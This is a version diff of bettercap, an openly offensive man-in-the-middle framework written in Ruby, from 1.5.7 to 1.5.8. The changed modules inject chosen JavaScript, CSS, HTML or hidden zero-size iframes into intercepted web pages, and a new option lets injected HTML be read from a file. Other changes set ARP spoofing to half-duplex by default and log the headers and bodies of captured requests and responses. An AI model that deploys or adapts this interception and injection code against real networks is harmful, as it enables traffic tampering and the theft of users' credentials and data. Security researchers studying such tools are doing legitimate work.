bettercap 1.5.7 → 1.5.8

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 448814ea9165cb85842e789e96fa88f80a0a7215
-  data.tar.gz: 11bb1d92babeea5b728c99acbe57a00a5bd3e2fb
+  metadata.gz: fae72c45d628b9638bb5b384c351065d75ad48b4
+  data.tar.gz: 5c8d16d02481507e50bbe97fe3a84122f8bb8ffb
 SHA512:
-  metadata.gz: b265f32b2d0f9873fd349084e348f6cc869addf8a11f78197e831ef8c79186d6a64adb52a720c4b6367c7b03bacc57ab13fca653b05f8a2e7ac09cca47f7b58e
-  data.tar.gz: fbf10090bf70ab35efdf586a22e95d88e6cf5027ed1f7a6be3be776d0fc6f65b0a0966f68dc9afecedb5c3182917dc3b9fdb0c72f07ccf708f9dda7750b4914c
+  metadata.gz: b9f33856ef7ef0194c584a9de47968642608464f6ec32bfa5dc502e4a0b97fc8352550b2d9edcd9953ba4a2dda54a6e8ae70bae6504d6ab837248d15bc9bf7b8
+  data.tar.gz: d901dc26801e51b558455b665454c59d3a9ce8ba977c0c77b39d4f66a1b5208af0a8956e22528bd6c519c08f8c5b88ff2e28fd27b8175b9baa68836e6fa9d070

data/lib/bettercap/context.rb

@@ -95,7 +95,7 @@ class Context
 
       Logger.info "Changing interface MAC address to #{@options.core.use_mac}"
 
-      Shell.ifconfig( "#{@options.core.iface} ether #{@options.core.use_mac}")
+      Shell.change_mac( @options.core.iface, @options.core.use_mac )
     end
 
     cfg = PacketFu::Utils.ifconfig @options.core.iface

data/lib/bettercap/network/protos/teamviewer.rb

@@ -104,8 +104,13 @@ class Packet < Network::Protos::Base
   uint8      :command_code
 
   def version
-    return '1' if self.magic == 0x1130
-    return '2'
+    if self.magic == 0x1724
+      return '1'
+    elsif self.magic == 0x1130
+      return '2'
+    else
+      return '?'
+    end
   end
 
   def command

data/lib/bettercap/options/proxy_options.rb

@@ -36,6 +36,8 @@ class ProxyOptions
   attr_accessor :sslstrip
   # If true, direct connections to the IP of this machine will be allowed.
   attr_accessor :allow_local_connections
+  # If true, log HTTP responses too.
+  attr_accessor :log_response
   # If true, TCP proxy will be enabled.
   attr_accessor :tcp_proxy
   # TCP proxy local port.
@@ -69,6 +71,7 @@ class ProxyOptions
     @proxy_module = nil
     @sslstrip = true
     @allow_local_connections = false
+    @log_response = false
 
     @tcp_proxy = false
     @tcp_proxy_port = 2222
@@ -160,6 +163,10 @@ class ProxyOptions
       @sslstrip = false
     end
 
+    opts.on( '--log-http-response', 'Log HTTP responses.' ) do
+      @log_response = true
+    end
+
     opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::HTTP::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
       Proxy::HTTP::Module.load(ctx, opts, v)
       @proxy = true

data/lib/bettercap/options/spoof_options.rb

@@ -24,7 +24,7 @@ class SpoofOptions
 
   def initialize
     @spoofer     = 'ARP'
-    @half_duplex = false
+    @half_duplex = true
     @kill        = false
   end
 
@@ -41,8 +41,8 @@ class SpoofOptions
       @spoofer = 'NONE'
     end
 
-    opts.on( '--half-duplex', 'Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.' ) do
-      @half_duplex = true
+    opts.on( '--full-duplex', 'Enable full-duplex MITM, this will make bettercap attack both the target(s) and the router.' ) do
+      @half_duplex = false
     end
 
     opts.on( '--kill', 'Instead of forwarding packets, this switch will make targets connections to be killed.' ) do

data/lib/bettercap/proxy/http/modules/injectcss.rb

@@ -67,13 +67,13 @@ class InjectCSS < BetterCap::Proxy::HTTP::Module
       BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
       # inject URL
       if @@cssdata.nil?
-	 replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> "
-        response.body.sub!( '</head>' ) {replacement} 
+	      replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> "
       # inject data
       else
-	 replacement = "#{@@cssdata}</head> "
-        response.body.sub!( '</head>' ) {replacement} 
+	      replacement = "#{@@cssdata}</head> "
       end
+
+      response.body.sub!( /<\/head>/i ) { replacement }
     end
   end
 end

data/lib/bettercap/proxy/http/modules/injecthtml.rb

@@ -36,6 +36,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
       @@data = v
     end
 
+    opts.on( '--html-file PATH', 'Path of the html file to be injected.' ) do |v|
+      filename = File.expand_path v
+      raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename)
+      @@data = File.read( filename )
+    end
+
     opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
       @@iframe = v
     end
@@ -44,7 +50,7 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
   # Create an instance of this module and raise a BetterCap::Error if command
   # line arguments weren't correctly specified.
   def initialize
-    raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
+    raise BetterCap::Error, "No --html-file, --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
   end
 
   # Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and
@@ -55,12 +61,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
       BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
 
       if @@data.nil?
-	 replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
-        response.body.sub!( '</body>' ) {replacement}
+	      replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
       else
-	 replacement = "#{@@data}</body>"
-        response.body.sub!( '</body>' ) {replacement} 
+	      replacement = "#{@@data}</body>"
       end
+
+      response.body.sub!( /<\/body>/i ) { replacement }
     end
   end
 end

data/lib/bettercap/proxy/http/modules/injectjs.rb

@@ -67,13 +67,13 @@ class InjectJS < BetterCap::Proxy::HTTP::Module
       BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
       # inject URL
       if @@jsdata.nil?
-	 replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>"
-        response.body.sub!( '</head>' ) {replacement} 
+	      replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>"
       # inject data
       else
-	 replacement = "#{@@jsdata}<p></p></head>" 
-        response.body.sub!( '</head>') {replacement} 
+	      replacement = "#{@@jsdata}</head>"
       end
+
+      response.body.sub!( /<\/head>/i ) { replacement }
     end
   end
 end

data/lib/bettercap/proxy/http/ssl/authority.rb

@@ -59,7 +59,7 @@ class Store
   # Find the +hostname+:+port+ certificate and return it.
   def find( hostname, port )
     # make sure *.domain.tld hostnames are correctly sanitized
-    hostname.gsub!( "*", "www" )
+    hostname.gsub!( "*.", "www." )
 
     key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
 

data/lib/bettercap/proxy/stream_logger.rb

@@ -130,11 +130,11 @@ class StreamLogger
   def self.log_post( request )
     # the packet could be incomplete
     if request.post? and !request.body.nil? and !request.body.empty?
-      msg = "\n[#{'HEADERS'.green}]\n\n"
+      msg = "\n[#{'REQUEST HEADERS'.green}]\n\n"
       request.headers.each do |name,value|
         msg << "  #{name.blue} : #{value.yellow}\n"
       end
-      msg << "\n[#{'BODY'.green}]\n\n"
+      msg << "\n[#{'REQUEST BODY'.green}]\n\n"
 
       case request['Content-Type']
       when /application\/x-www-form-urlencoded.*/i
@@ -157,12 +157,40 @@ class StreamLogger
     end
   end
 
+  # This method will log every header and the body of +response+.
+  def self.log_response( response )
+    msg = "\n[#{'RESPONSE HEADERS'.light_red}]\n\n"
+    response.headers.each do |name,value|
+      msg << "  #{name.blue} : #{value.to_s.yellow}\n"
+    end
+    msg << "\n[#{'RESPONSE BODY'.light_red}]\n\n"
+
+    case response['Content-Type']
+    when /application\/x-www-form-urlencoded.*/i
+      msg << self.dump_form( response )
+
+    when /text\/plain.*/i
+      msg << response.body + "\n"
+
+    when /gzip.*/i
+      msg << self.dump_gzip( response )
+
+    when /application\/json.*/i
+      msg << self.dump_json( response )
+
+    else
+      msg << self.hexdump( response.body )
+    end
+
+    Logger.raw "#{msg}\n"
+  end
+
   # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
   # with the +request+ and +response+ most important informations.
   def self.log_http( request, response )
     response_s = ""
     response_s += " ( #{response.content_type} )" unless response.content_type.nil?
-    request_s  = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
+    request_s  = request.to_url( nil )
     code       = response.code.to_s[0]
 
     if @@CODE_COLORS.has_key? code
@@ -172,10 +200,15 @@ class StreamLogger
     end
 
     Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
+
     # Log post body if the POST sniffer is enabled.
     if Context.get.options.sniff.enabled?('POST')
       self.log_post( request )
     end
+
+    if Context.get.options.proxies.log_response
+      self.log_response( response )
+    end
   end
 end
 end

data/lib/bettercap/shell.rb

@@ -56,6 +56,17 @@ module Shell
       self.execute( "LANG=en && ifconfig #{iface}" )
     end
 
+    # Change the +iface+ mac address to +mac+ using ifconfig.
+    def change_mac(iface, mac)
+      if RUBY_PLATFORM =~ /.+bsd/ or RUBY_PLATFORM =~ /darwin/
+        self.ifconfig( "#{iface} ether #{mac}")
+      elsif RUBY_PLATFORM =~ /linux/
+        self.ifconfig( "#{iface} hw ether #{mac}")
+      else
+       raise BetterCap::Error, 'Unsupported operating system'
+      end
+    end
+
     # Get the +iface+ network interface configuration ( using iproute2 ).
     def ip(iface = '')
       self.execute( "LANG=en && ip addr show #{iface}" )

data/lib/bettercap/version.rb

@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
 =end
 module BetterCap
   # Current version of bettercap.
-  VERSION = '1.5.7'
+  VERSION = '1.5.8'
   # Program banner.
   BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
 end

metadata

@@ -1,147 +1,147 @@
 --- !ruby/object:Gem::Specification
 name: bettercap
 version: !ruby/object:Gem::Version
-  version: 1.5.7
+  version: 1.5.8
 platform: ruby
 authors:
 - Simone Margaritelli
 autorequire: 
 bindir: bin
 cert_chain: []
-date: 2016-08-11 00:00:00.000000000 Z
+date: 2016-08-26 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: colorize
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: 0.8.0
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: 0.8.0
 - !ruby/object:Gem::Dependency
   name: packetfu
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '1.1'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 1.1.10
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '1.1'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 1.1.10
 - !ruby/object:Gem::Dependency
   name: pcaprub
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.12'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.12.0
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.12'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.12.0
 - !ruby/object:Gem::Dependency
   name: network_interface
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.0'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.0.1
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.0'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.0.1
 - !ruby/object:Gem::Dependency
   name: net-dns
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.8'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.8.0
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.8'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.8.0
 - !ruby/object:Gem::Dependency
   name: rubydns
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '1.0'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 1.0.3
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '1.0'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 1.0.3
 - !ruby/object:Gem::Dependency
   name: em-proxy
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.1'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.1.8
   type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ~>
       - !ruby/object:Gem::Version
         version: '0.1'
-    - - ">="
+    - - '>='
       - !ruby/object:Gem::Version
         version: 0.1.8
 description: BetterCap is the state of the art, modular, portable and easily extensible
@@ -155,8 +155,6 @@ extra_rdoc_files: []
 files:
 - LICENSE.md
 - README.md
-- bin/bettercap
-- lib/bettercap.rb
 - lib/bettercap/banner
 - lib/bettercap/context.rb
 - lib/bettercap/discovery/agents/arp.rb
@@ -251,30 +249,31 @@ files:
 - lib/bettercap/spoofers/none.rb
 - lib/bettercap/update_checker.rb
 - lib/bettercap/version.rb
+- lib/bettercap.rb
+- bin/bettercap
 homepage: http://github.com/evilsocket/bettercap
 licenses:
 - GPL-3.0
 metadata: {}
 post_install_message: 
 rdoc_options:
-- "--charset=UTF-8"
+- --charset=UTF-8
 require_paths:
 - lib
 required_ruby_version: !ruby/object:Gem::Requirement
   requirements:
-  - - ">="
+  - - '>='
     - !ruby/object:Gem::Version
       version: '1.9'
 required_rubygems_version: !ruby/object:Gem::Requirement
   requirements:
-  - - ">="
+  - - '>='
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
 rubyforge_project: 
-rubygems_version: 2.5.1
+rubygems_version: 2.0.14.1
 signing_key: 
 specification_version: 4
 summary: A complete, modular, portable and easily extensible MITM framework.
 test_files: []
-has_rdoc: